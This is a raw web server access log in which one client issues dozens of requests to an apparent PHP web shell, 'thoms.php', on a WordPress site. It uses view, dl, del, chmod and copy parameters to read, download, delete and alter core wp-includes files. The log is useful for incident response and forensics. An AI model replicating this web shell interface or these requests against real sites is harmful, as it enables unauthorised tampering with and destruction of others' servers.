45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-filters.php HTTP/1.1" 200 23196 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-nav-menus.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?del=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?del=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?chmod=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-feed-cache-transient.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 200 14577 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:37 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59371 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59372 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?dl=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /big-wife.com.tw/wp-includes/bookmark.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?chmod=class-oembed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?del=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-speculation-rules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /big-wife.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 200 12128 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?dl=class-pop3.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:38 -0400] "GET /thoms.php?del=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=class-phpmailer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?del=general-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?dl=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59366 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-section.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?del=l10n.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=l10n.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?del=media-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59392 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:39 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?chmod=rss-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?chmod=post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FText HTTP/1.1" 200 13192 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=admin-bar.php HTTP/1.1" 200 23912 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-network-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fsitemaps HTTP/1.1" 200 13979 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Fsitemaps" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:40 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-smtp.php HTTP/1.1" 200 12124 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 200 18567 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:41 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13456 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /big-wife.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?del=cache-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59353 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?chmod=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=ms-blogs.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?del=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13695 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /big-wife.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16412 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?del=customize&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=customize&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-widgets.php HTTP/1.1" 200 12401 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:42 -0400] "GET /thoms.php?dl=block-patterns.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59399 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?del=ms-files.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59395 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?del=Text&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=Text&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 200 13917 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:43 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /big-wife.com.tw/wp-includes/Text/ HTTP/1.1" 200 869 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?dl=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=feed-rss2-comments.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?del=error-protection.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=error-protection.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?chmod=cache-compat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?chmod=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-gd.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:44 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:45 -0400] "GET /big-wife.com.tw/wp-includes/ID3/ HTTP/1.1" 200 1640 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
